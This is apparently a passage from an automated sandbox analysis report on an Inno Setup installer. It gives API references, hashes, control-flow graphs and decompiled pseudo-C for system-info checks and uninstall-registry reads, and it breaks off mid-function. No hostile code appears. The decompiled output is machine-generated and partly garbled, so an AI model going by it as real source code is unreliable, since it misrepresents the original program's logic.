                                                          0x00485466
                                                          0x00485466
                                                          0x004853dd
                                                          0x004853e4
                                                          0x004853f1
                                                          0x00485412
                                                          0x00485412
                                                          0x004853a3
                                                          0x004853ab
                                                          0x004853c4
                                                          0x004853c4
                                                          0x00485347
                                                          0x0048534e
                                                          0x0048535b
                                                          0x00485368
                                                          0x00485379
                                                          0x00485382
                                                          0x0048538a
                                                          0x0048538a
                                                          0x004852eb
                                                          0x004852f2
                                                          0x004852ff
                                                          0x0048530c
                                                          0x0048531d
                                                          0x00485326
                                                          0x0048532e
                                                          0x0048532e
                                                          0x00485295
                                                          0x0048529c
                                                          0x004852a9
                                                          0x004852b6
                                                          0x004852d2
                                                          0x004852d2
                                                          0x00485259
                                                          0x00485261
                                                          0x0048527c
                                                          0x0048527c
                                                          0x0048521d
                                                          0x00485227
                                                          0x00485235
                                                          0x00485240
                                                          0x00485240
                                                          0x004851fa
                                                          0x00485204
                                                          0x00485204
                                                          0x004856a0
                                                          0x004856a3
                                                          0x004856a6
                                                          0x004856b8

                                                          APIs
                                                          • Sleep.KERNEL32(00000000,00000000,004856B9,?,?,?,?,00000000,00000000,00000000), ref: 00485204
                                                          • FindWindowA.USER32 ref: 00485235
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: FindSleepWindow
                                                          • String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
                                                          • API String ID: 3078808852-3310373309
                                                          • Opcode ID: f4f169c21a5b5137876b94f81867466e4185b3e7ef9046c091355e7a9a64a74e
                                                          • Instruction ID: 486c8a4f85080d3797c4469fcd6879611c897998de4fe88eb01d54865bdc553e
                                                          • Opcode Fuzzy Hash: f4f169c21a5b5137876b94f81867466e4185b3e7ef9046c091355e7a9a64a74e
                                                          • Instruction Fuzzy Hash: 6AC14FA0B1460157D715BE3E8C4251F56AA9B88704B20C97FB44AEB78BDE3CDC0B835D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1400 477e6c-477e91 GetModuleHandleA 6CAA5550 1401 477e93-477ea9 GetNativeSystemInfo 6CAA5550 1400->1401 1402 477ef8-477efd GetSystemInfo 1400->1402 1403 477f02-477f0b 1401->1403 1404 477eab-477eb6 GetCurrentProcess 1401->1404 1402->1403 1405 477f0d-477f11 1403->1405 1406 477f1b-477f22 1403->1406 1404->1403 1413 477eb8-477ebc 1404->1413 1407 477f24-477f2b 1405->1407 1408 477f13-477f17 1405->1408 1409 477f3d-477f42 1406->1409 1407->1409 1411 477f2d-477f34 1408->1411 1412 477f19-477f36 1408->1412 1411->1409 1412->1409 1413->1403 1415 477ebe-477ec5 call 451330 1413->1415 1415->1403 1418 477ec7-477ed4 6CAA5550 1415->1418 1418->1403 1419 477ed6-477eed GetModuleHandleA 6CAA5550 1418->1419 1419->1403 1420 477eef-477ef6 1419->1420 1420->1403
                                                          C-Code - Quality: 59%
                                                          			E00477E6C() {
                                                          				struct _SYSTEM_INFO _v52;
                                                          				struct HINSTANCE__* _t4;
                                                          				void* _t7;
                                                          				void* _t8;
                                                          				void* _t9;
                                                          				intOrPtr* _t10;
                                                          				void* _t13;
                                                          				struct HINSTANCE__* _t14;
                                                          				struct HINSTANCE__* _t15;
                                                          				intOrPtr* _t17;
                                                          				intOrPtr* _t18;
                                                          
                                                          				 *0x4ae250 = 0;
                                                          				_t4 = GetModuleHandleA("kernel32.dll");
                                                          				_t15 = _t4;
                                                          				_push("GetNativeSystemInfo");
                                                          				_push(_t15);
                                                          				L00405AA4();
                                                          				if(_t4 == 0) {
                                                          					GetSystemInfo( &_v52);
                                                          				} else {
                                                          					_t10 = _t4->i( &_v52); // executed
                                                          					_push("IsWow64Process");
                                                          					_push(_t15);
                                                          					L00405AA4();
                                                          					_t17 = _t10;
                                                          					if(_t17 != 0) {
                                                          						_push(_t18);
                                                          						_push(GetCurrentProcess());
                                                          						if( *_t17() != 0 &&  *_t18 != 0) {
                                                          							_t13 = E00451330();
                                                          							if(_t13 != 0) {
                                                          								_push("GetSystemWow64DirectoryA");
                                                          								_push(_t15);
                                                          								L00405AA4();
                                                          								if(_t13 != 0) {
                                                          									_push("RegDeleteKeyExA");
                                                          									_t14 = GetModuleHandleA("advapi32.dll");
                                                          									_push(_t14);
                                                          									L00405AA4();
                                                          									if(_t14 != 0) {
                                                          										 *0x4ae250 = 1;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				_t7 = _v52.dwOemId - 1;
                                                          				if(_t7 < 0) {
                                                          					 *0x48cb10 = 1;
                                                          					return _t7;
                                                          				}
                                                          				_t8 = _t7 - 5;
                                                          				if(_t8 == 0) {
                                                          					 *0x48cb10 = 3;
                                                          					return _t8;
                                                          				}
                                                          				_t9 = _t8 - 3;
                                                          				if(_t9 != 0) {
                                                          					 *0x48cb10 = 0;
                                                          					return _t9;
                                                          				}
                                                          				 *0x48cb10 = 2;
                                                          				return _t9;
                                                          			}














                                                          0x00477e71
                                                          0x00477e7d
                                                          0x00477e82
                                                          0x00477e84
                                                          0x00477e89
                                                          0x00477e8a
                                                          0x00477e91
                                                          0x00477efd
                                                          0x00477e93
                                                          0x00477e98
                                                          0x00477e9a
                                                          0x00477e9f
                                                          0x00477ea0
                                                          0x00477ea5
                                                          0x00477ea9
                                                          0x00477eab
                                                          0x00477eb1
                                                          0x00477eb6
                                                          0x00477ebe
                                                          0x00477ec5
                                                          0x00477ec7
                                                          0x00477ecc
                                                          0x00477ecd
                                                          0x00477ed4
                                                          0x00477ed6
                                                          0x00477ee0
                                                          0x00477ee5
                                                          0x00477ee6
                                                          0x00477eed
                                                          0x00477eef
                                                          0x00477eef
                                                          0x00477eed
                                                          0x00477ed4
                                                          0x00477ec5
                                                          0x00477eb6
                                                          0x00477ea9
                                                          0x00477f07
                                                          0x00477f0b
                                                          0x00477f1b
                                                          0x00000000
                                                          0x00477f1b
                                                          0x00477f0d
                                                          0x00477f11
                                                          0x00477f24
                                                          0x00000000
                                                          0x00477f24
                                                          0x00477f13
                                                          0x00477f17
                                                          0x00477f36
                                                          0x00000000
                                                          0x00477f36
                                                          0x00477f2d
                                                          0x00000000

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00477E7D
                                                          • 6CAA5550.KERNEL32(00000000,GetNativeSystemInfo,kernel32.dll), ref: 00477E8A
                                                          • GetNativeSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00477E98
                                                          • 6CAA5550.KERNEL32(00000000,IsWow64Process), ref: 00477EA0
                                                          • GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 00477EAC
                                                          • 6CAA5550.KERNEL32(00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 00477ECD
                                                          • GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 00477EE0
                                                          • 6CAA5550.KERNEL32(00000000,advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 00477EE6
                                                          • GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00477EFD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550$HandleInfoModuleSystem$CurrentNativeProcess
                                                          • String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
                                                          • API String ID: 282087668-2623177817
                                                          • Opcode ID: 7aa52418ded5cd30a099044d76a3c5e39a283bb6d088d1fd91fabeea99984bbb
                                                          • Instruction ID: 1bca21d482c9e2aba29b18e94f8a98aa66fbe804b7db4c3ff165f16ab90c5700
                                                          • Opcode Fuzzy Hash: 7aa52418ded5cd30a099044d76a3c5e39a283bb6d088d1fd91fabeea99984bbb
                                                          • Instruction Fuzzy Hash: 5611005020C74154DA0273756F86BEB16889B00308FD88E6BF85CA53C3D7BC8841CABE
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1421 462898-4628d0 call 4717f8 1424 4628d6-4628e6 call 46ebf4 1421->1424 1425 462ab2-462acc call 403568 1421->1425 1430 4628eb-462930 call 407b08 call 403880 call 42dd88 1424->1430 1436 462935-462937 1430->1436 1437 46293d-462952 1436->1437 1438 462aa8-462aac 1436->1438 1439 462967-46296e 1437->1439 1440 462954-462962 call 42dcb8 1437->1440 1438->1425 1438->1430 1442 462970-462992 call 42dcb8 call 42dcd0 1439->1442 1443 46299b-4629a2 1439->1443 1440->1439 1442->1443 1464 462994 1442->1464 1444 4629a4-4629c9 call 42dcb8 * 2 1443->1444 1445 4629fb-462a02 1443->1445 1467 4629cb-4629d4 call 40c654 1444->1467 1468 4629d9-4629eb call 42dcb8 1444->1468 1449 462a04-462a16 call 42dcb8 1445->1449 1450 462a48-462a4f 1445->1450 1460 462a26-462a38 call 42dcb8 1449->1460 1461 462a18-462a21 call 40c654 1449->1461 1452 462a51-462a85 call 42dcb8 * 3 1450->1452 1453 462a8a-462aa0 RegCloseKey 1450->1453 1452->1453 1460->1450 1474 462a3a-462a43 call 40c654 1460->1474 1461->1460 1464->1443 1467->1468 1468->1445 1478 4629ed-4629f6 call 40c654 1468->1478 1474->1450 1478->1445
                                                          C-Code - Quality: 84%
                                                          			E00462898(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				void* _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				intOrPtr _v32;
                                                          				char _v36;
                                                          				char* _v40;
                                                          				intOrPtr _t62;
                                                          				void* _t76;
                                                          				intOrPtr _t77;
                                                          				void* _t78;
                                                          				void* _t90;
                                                          				void* _t92;
                                                          				void* _t100;
                                                          				void* _t102;
                                                          				intOrPtr* _t114;
                                                          				intOrPtr _t134;
                                                          				intOrPtr _t139;
                                                          				void* _t156;
                                                          				void* _t158;
                                                          				void* _t160;
                                                          				void* _t161;
                                                          				intOrPtr _t162;
                                                          
                                                          				_t160 = _t161;
                                                          				_t162 = _t161 + 0xffffffdc;
                                                          				_v24 = 0;
                                                          				_v12 = 0;
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_t158 = __eax;
                                                          				_push(_t160);
                                                          				_push(0x462acd);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t162;
                                                          				_t62 =  *0x4ae06c; // 0x21d4a18
                                                          				E004717F8(_t62, __ecx,  &_v16);
                                                          				if(_v16 == 0) {
                                                          					L22:
                                                          					__eflags = 0;
                                                          					_pop(_t134);
                                                          					 *[fs:eax] = _t134;
                                                          					_push(E00462AD4);
                                                          					return E00403568( &_v24, 4);
                                                          				} else {
                                                          					E0046EBF4(_v16, __ecx,  &_v20);
                                                          					_t156 = 2;
                                                          					_t114 = 0x48ca88;
                                                          					while(1) {
                                                          						_v40 = "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
                                                          						_v36 = 0xb;
                                                          						_v32 = _v20;
                                                          						_v28 = 0xb;
                                                          						E00407B08("%s\\%s_is1", 1,  &_v40,  &_v24);
                                                          						_t76 = E00403880(_v24);
                                                          						_t77 =  *0x48cb0c; // 0x1, executed
                                                          						_t78 = E0042DD88(_t77, _t76,  *_t114,  &_v8, 1, 0); // executed
                                                          						if(_t78 == 0) {
                                                          							_push(_t160);
                                                          							_push(0x462aa1);
                                                          							_push( *[fs:eax]);
                                                          							 *[fs:eax] = _t162;
                                                          							if(( *0x4ae17e & 0x00000004) != 0) {
                                                          								E0042DCB8();
                                                          							}
                                                          							break;
                                                          						}
                                                          						_t114 = _t114 + 4;
                                                          						_t156 = _t156 - 1;
                                                          						__eflags = _t156;
                                                          						if(_t156 != 0) {
                                                          							continue;
                                                          						} else {
                                                          							goto L22;
                                                          						}
                                                          						goto L23;
                                                          					}
                                                          					if(( *0x4ae17e & 0x00000010) != 0) {
                                                          						E0042DCB8();
                                                          						if(E0042DCD0(_v8, "Inno Setup: No Icons") != 0) {
                                                          							 *((char*)(_t158 + 0x318)) = 1;
                                                          						}
                                                          					}
                                                          					if(( *0x4ae17e & 0x00000040) != 0) {
                                                          						E0042DCB8();
                                                          						_t100 = E0042DCB8();
                                                          						_t169 = _t100;
                                                          						if(_t100 != 0) {
                                                          							E0040C654( *((intOrPtr*)(_t158 + 0x31c)), _t114, _v12, _t156, _t158, _t169);
                                                          						}
                                                          						_t102 = E0042DCB8();
                                                          						_t170 = _t102;
                                                          						if(_t102 != 0) {
                                                          							E0040C654( *((intOrPtr*)(_t158 + 0x320)), _t114, _v12, _t156, _t158, _t170);
                                                          						}
                                                          					}
                                                          					if(( *0x4ae17f & 0x00000008) != 0) {
                                                          						_t90 = E0042DCB8();
                                                          						_t172 = _t90;
                                                          						if(_t90 != 0) {
                                                          							E0040C654( *((intOrPtr*)(_t158 + 0x324)), _t114, _v12, _t156, _t158, _t172);
                                                          						}
                                                          						_t92 = E0042DCB8();
                                                          						_t173 = _t92;
                                                          						if(_t92 != 0) {
                                                          							E0040C654( *((intOrPtr*)(_t158 + 0x328)), _t114, _v12, _t156, _t158, _t173);
                                                          						}
                                                          					}
                                                          					if(( *0x4ae180 & 0x00000002) != 0) {
                                                          						E0042DCB8();
                                                          						E0042DCB8();
                                                          						E0042DCB8();
                                                          					}
                                                          					_pop(_t139);
                                                          					 *[fs:eax] = _t139;
                                                          					_push(E00462AB2);
                                                          					return RegCloseKey(_v8);
                                                          				}
                                                          				L23:
                                                          			}




























                                                          0x00462899
                                                          0x0046289b
                                                          0x004628a3
                                                          0x004628a6
                                                          0x004628a9
                                                          0x004628ac
                                                          0x004628af
                                                          0x004628b3
                                                          0x004628b4
                                                          0x004628b9
                                                          0x004628bc
                                                          0x004628c2
                                                          0x004628c7
                                                          0x004628d0
                                                          0x00462ab2
                                                          0x00462ab2
                                                          0x00462ab4
                                                          0x00462ab7
                                                          0x00462aba
                                                          0x00462acc
                                                          0x004628d6
                                                          0x004628dc
                                                          0x004628e1
                                                          0x004628e6
                                                          0x004628eb
                                                          0x004628fc
                                                          0x004628ff
                                                          0x00462906
                                                          0x00462909
                                                          0x0046291a
                                                          0x00462922
                                                          0x0046292b
                                                          0x00462930
                                                          0x00462937
                                                          0x0046293f
                                                          0x00462940
                                                          0x00462945
                                                          0x00462948
                                                          0x00462952
                                                          0x00462962
                                                          0x00462962
                                                          0x00000000
                                                          0x00462952
                                                          0x00462aa8
                                                          0x00462aab
                                                          0x00462aab
                                                          0x00462aac
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00462aac
                                                          0x0046296e
                                                          0x0046297e
                                                          0x00462992
                                                          0x00462994
                                                          0x00462994
                                                          0x00462992
                                                          0x004629a2
                                                          0x004629b2
                                                          0x004629c2
                                                          0x004629c7
                                                          0x004629c9
                                                          0x004629d4
                                                          0x004629d4
                                                          0x004629e4
                                                          0x004629e9
                                                          0x004629eb
                                                          0x004629f6
                                                          0x004629f6
                                                          0x004629eb
                                                          0x00462a02
                                                          0x00462a0f
                                                          0x00462a14
                                                          0x00462a16
                                                          0x00462a21
                                                          0x00462a21
                                                          0x00462a31
                                                          0x00462a36
                                                          0x00462a38
                                                          0x00462a43
                                                          0x00462a43
                                                          0x00462a38
                                                          0x00462a4f
                                                          0x00462a5f
                                                          0x00462a72
                                                          0x00462a85
                                                          0x00462a85
                                                          0x00462a8c
                                                          0x00462a8f
                                                          0x00462a92
                                                          0x00462aa0
                                                          0x00462aa0
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 0042DD88: 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          • RegCloseKey.ADVAPI32(?,00462AB2,?,?,00000001,00000000,00000000,00462ACD,?,00000000,00000000,?), ref: 00462A9B
                                                          Strings
                                                          • Inno Setup: User Info: Organization, xrefs: 00462A6A
                                                          • Inno Setup: Selected Tasks, xrefs: 00462A07
                                                          • %s\%s_is1, xrefs: 00462915
                                                          • Inno Setup: Icon Group, xrefs: 00462976
                                                          • Inno Setup: Deselected Tasks, xrefs: 00462A29
                                                          • Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 004628F7
                                                          • Inno Setup: User Info: Serial, xrefs: 00462A7D
                                                          • Inno Setup: Selected Components, xrefs: 004629BA
                                                          • Inno Setup: Setup Type, xrefs: 004629AA
                                                          • Inno Setup: Deselected Components, xrefs: 004629DC
                                                          • Inno Setup: User Info: Name, xrefs: 00462A57
                                                          • Inno Setup: App Path, xrefs: 0046295A
                                                          • Inno Setup: No Icons, xrefs: 00462983
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6790Close
                                                          • String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
                                                          • API String ID: 1840404773-1093091907
                                                          • Opcode ID: 7ee68dfff7b4aedbc0e354cfb89b4a29693810ebc588fddb783fb8f9d2310aa6
                                                          • Instruction ID: cadfe6d216f2647ea2a0a6e45bcc6e3d3627fcf5818918a718398d3bfdcc0778
                                                          • Opcode Fuzzy Hash: 7ee68dfff7b4aedbc0e354cfb89b4a29693810ebc588fddb783fb8f9d2310aa6
                                                          • Instruction Fuzzy Hash: 7351BA30A00A04AFCB15EFA6DA51BDEB7F4EF45304F50846AE84067391E7B8AF05CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1480 46b194-46b1c7 1481 46b830-46b864 call 466ccc call 403548 * 2 call 403568 1480->1481 1482 46b1cd-46b1d1 1480->1482 1483 46b1d8-46b215 call 40b654 call 46f264 1482->1483 1493 46b824-46b82a 1483->1493 1494 46b21b-46b25a call 472e40 call 46eef8 call 4717f8 * 2 1483->1494 1493->1481 1493->1483 1506 46b260-46b267 1494->1506 1507 46b25c 1494->1507 1508 46b280-46b299 1506->1508 1509 46b269-46b270 1506->1509 1507->1506 1512 46b2bf-46b2c6 1508->1512 1513 46b29b-46b2a5 call 46b04c 1508->1513 1510 46b272-46b277 call 451afc 1509->1510 1511 46b27c 1509->1511 1510->1511 1511->1508 1516 46b2d5-46b2dc 1512->1516 1517 46b2c8-46b2cf 1512->1517 1513->1512 1524 46b2a7-46b2ba call 403880 call 42de2c 1513->1524 1518 46b2de-46b2e5 1516->1518 1519 46b32f-46b34f call 46b070 1516->1519 1517->1516 1521 46b701-46b737 1517->1521 1518->1519 1522 46b2e7-46b309 call 403880 call 42dd88 1518->1522 1534 46b3c2-46b3c9 1519->1534 1535 46b351-46b376 call 403880 call 42dd50 1519->1535 1521->1508 1527 46b73d-46b744 1521->1527 1522->1521 1555 46b30f-46b32a call 403880 6CAA6690 RegCloseKey 1522->1555 1524->1512 1531 46b746-46b750 call 46b04c 1527->1531 1532 46b777-46b77e 1527->1532 1531->1532 1557 46b752-46b772 call 457078 1531->1557 1540 46b780-46b78a call 46b04c 1532->1540 1541 46b7b1-46b7b8 1532->1541 1538 46b412 1534->1538 1539 46b3cb-46b3ef call 403880 call 42dd88 1534->1539 1561 46b37b-46b37f 1535->1561 1547 46b417-46b419 1538->1547 1539->1547 1583 46b3f1-46b3f4 1539->1583 1540->1541 1569 46b78c-46b7ac call 457078 1540->1569 1544 46b7e5-46b7ec 1541->1544 1545 46b7ba-46b7e0 call 457078 1541->1545 1553 46b7ee-46b814 call 457078 1544->1553 1554 46b819-46b81f call 46ef24 1544->1554 1545->1544 1547->1521 1556 46b41f-46b434 1547->1556 1553->1554 1554->1493 1555->1521 1565 46b436-46b443 call 403880 6CAA6690 1556->1565 1566 46b448-46b44f 1556->1566 1557->1532 1570 46b3a6-46b3ad 1561->1570 1571 46b381-46b385 1561->1571 1565->1566 1574 46b455-46b45c 1566->1574 1575 46b6e3-46b6f9 RegCloseKey 1566->1575 1569->1541 1570->1547 1579 46b3af-46b3c0 call 46755c 1570->1579 1571->1547 1578 46b38b-46b3a4 call 46b070 1571->1578 1581 46b45e-46b472 call 403880 call 42dcd0 1574->1581 1582 46b478-46b484 1574->1582 1578->1547 1579->1547 1581->1575 1581->1582 1585 46b486 1582->1585 1586 46b49c-46b4a6 1582->1586 1583->1547 1584 46b3f6-46b3fd 1583->1584 1584->1547 1590 46b3ff-46b410 call 46755c 1584->1590 1591 46b63e-46b677 call 4717f8 call 406e34 call 403880 6CAA68C0 1585->1591 1592 46b48c-46b48e 1585->1592 1594 46b4af-46b4b4 1586->1594 1595 46b4a8-46b4ab 1586->1595 1590->1547 1591->1575 1633 46b679-46b680 1591->1633 1599 46b494-46b496 1592->1599 1600 46b695-46b6c7 call 4036bc call 403880 * 2 6CAA68C0 1592->1600 1603 46b4bb-46b4bd 1594->1603 1601 46b4b6 1595->1601 1602 46b4ad 1595->1602 1599->1575 1599->1586 1600->1575 1644 46b6c9-46b6d0 1600->1644 1601->1603 1602->1603 1609 46b4c3-46b4d5 call 4039a4 1603->1609 1610 46b55a-46b56c call 4039a4 1603->1610 1624 46b4d7-46b4ee call 403880 call 42dcb8 1609->1624 1625 46b4f0-46b4f3 call 403548 1609->1625 1621 46b587-46b58a call 403548 1610->1621 1622 46b56e-46b585 call 403880 call 42dcc4 1610->1622 1636 46b58f-46b5c8 call 471818 1621->1636 1622->1621 1622->1636 1624->1625 1635 46b4f8-46b4ff 1624->1635 1625->1635 1633->1575 1639 46b682-46b693 call 46755c 1633->1639 1641 46b530-46b555 call 471818 1635->1641 1642 46b501-46b51f call 403880 RegQueryValueExA 1635->1642 1655 46b5ca-46b5da call 4036bc 1636->1655 1656 46b5e9-46b615 call 4036bc call 403880 * 2 6CAA68C0 1636->1656 1639->1575 1641->1656 1642->1641 1659 46b521-46b525 1642->1659 1644->1575 1651 46b6d2-46b6de call 46755c 1644->1651 1651->1575 1655->1656 1666 46b5dc-46b5e4 call 4036c4 1655->1666 1656->1575 1671 46b61b-46b622 1656->1671 1662 46b527-46b52b 1659->1662 1663 46b52d 1659->1663 1662->1641 1662->1663 1663->1641 1666->1656 1671->1575 1672 46b628-46b639 call 46755c 1671->1672 1672->1575
                                                          C-Code - Quality: 82%
                                                          			E0046B194(signed int __ebx, void* __edi, void* __esi, intOrPtr _a4) {
                                                          				void* _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				int _v28;
                                                          				char _v32;
                                                          				char* _v36;
                                                          				char _v37;
                                                          				int* _v44;
                                                          				char _v45;
                                                          				char _v52;
                                                          				intOrPtr* _v56;
                                                          				intOrPtr _v60;
                                                          				char* _v64;
                                                          				intOrPtr _v68;
                                                          				intOrPtr _v72;
                                                          				char _v76;
                                                          				char* _v80;
                                                          				char _v84;
                                                          				char _v88;
                                                          				intOrPtr _t278;
                                                          				void* _t280;
                                                          				intOrPtr _t291;
                                                          				intOrPtr _t300;
                                                          				char _t313;
                                                          				intOrPtr _t324;
                                                          				intOrPtr _t325;
                                                          				intOrPtr _t368;
                                                          				intOrPtr _t369;
                                                          				intOrPtr _t373;
                                                          				intOrPtr _t375;
                                                          				signed int _t378;
                                                          				signed int _t396;
                                                          				void* _t402;
                                                          				signed int _t408;
                                                          				signed int _t411;
                                                          				intOrPtr _t414;
                                                          				signed int _t425;
                                                          				signed int _t429;
                                                          				signed int _t438;
                                                          				signed int _t451;
                                                          				intOrPtr _t452;
                                                          				signed int _t459;
                                                          				signed int _t479;
                                                          				signed int _t512;
                                                          				signed int _t513;
                                                          				signed int _t514;
                                                          				signed int _t515;
                                                          				intOrPtr _t537;
                                                          				intOrPtr _t540;
                                                          				intOrPtr _t546;
                                                          				intOrPtr _t552;
                                                          				signed int _t555;
                                                          				signed int _t557;
                                                          				signed int _t561;
                                                          				signed int _t570;
                                                          				void* _t584;
                                                          				void* _t585;
                                                          				intOrPtr _t586;
                                                          				void* _t609;
                                                          
                                                          				_t582 = __esi;
                                                          				_t581 = __edi;
                                                          				_t511 = __ebx;
                                                          				_t584 = _t585;
                                                          				_t586 = _t585 + 0xffffffac;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v84 = 0;
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_v24 = 0;
                                                          				_v36 = 0;
                                                          				_push(_t584);
                                                          				_push(0x46b865);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t586;
                                                          				_t278 =  *0x4ae1f0; // 0x21c2b28
                                                          				_t280 =  *((intOrPtr*)(_t278 + 8)) - 1;
                                                          				if(_t280 < 0) {
                                                          					L85:
                                                          					E00466CCC(0x3e8, _t607);
                                                          					_pop(_t537);
                                                          					 *[fs:eax] = _t537;
                                                          					_push(0x46b86c);
                                                          					E00403548( &_v84);
                                                          					E00403548( &_v36);
                                                          					return E00403568( &_v24, 3);
                                                          				} else {
                                                          					_v52 = _t280 + 1;
                                                          					_v44 = 0;
                                                          					do {
                                                          						_t291 =  *0x4ae1f0; // 0x21c2b28
                                                          						_v56 = E0040B654(_t291, _v44);
                                                          						_t518 =  *((intOrPtr*)(_v56 + 0xc));
                                                          						_t540 =  *0x4ae240; // 0x21c2a20
                                                          						_t300 =  *0x4ae23c; // 0x21c29f4
                                                          						if(E0046F264(_t300,  *((intOrPtr*)(_v56 + 0xc)), _t540,  *((intOrPtr*)(_v56 + 0x18)),  *((intOrPtr*)(_v56 + 0x14)),  *((intOrPtr*)(_v56 + 0x10))) != 0) {
                                                          							E00472E40(0xb, _t518, _v44);
                                                          							E0046EEF8();
                                                          							E004717F8( *_v56, _t518,  &_v36);
                                                          							E004717F8( *((intOrPtr*)(_v56 + 4)), _t518,  &_v16);
                                                          							_t313 =  *0x48cb0c; // 0x1
                                                          							_v37 = _t313;
                                                          							if(( *(_v56 + 0x40) & 0x00000004) != 0) {
                                                          								_v37 = 1;
                                                          							}
                                                          							if(( *(_v56 + 0x40) & 0x00000008) != 0) {
                                                          								_t592 =  *0x4ae250;
                                                          								if( *0x4ae250 == 0) {
                                                          									E00451AFC("Cannot access 64-bit registry keys on this version of Windows", _t511, _t581, _t582, _t592);
                                                          								}
                                                          								_v37 = 2;
                                                          							}
                                                          							do {
                                                          								_v45 = 0;
                                                          								_push(_t584);
                                                          								_push(0x46b70b);
                                                          								_push( *[fs:edx]);
                                                          								 *[fs:edx] = _t586;
                                                          								if(( *(_v56 + 0x3f) & 0x00000040) != 0 && E0046B04C(_v36) != 0) {
                                                          									E0042DE2C(_v37, _t511, E00403880(_v36),  *((intOrPtr*)(_v56 + 0x38)), _t581, _t582);
                                                          								}
                                                          								if(( *(_v56 + 0x3f) & 0x00000040) == 0 ||  *((char*)(_v56 + 0x3e)) != 0) {
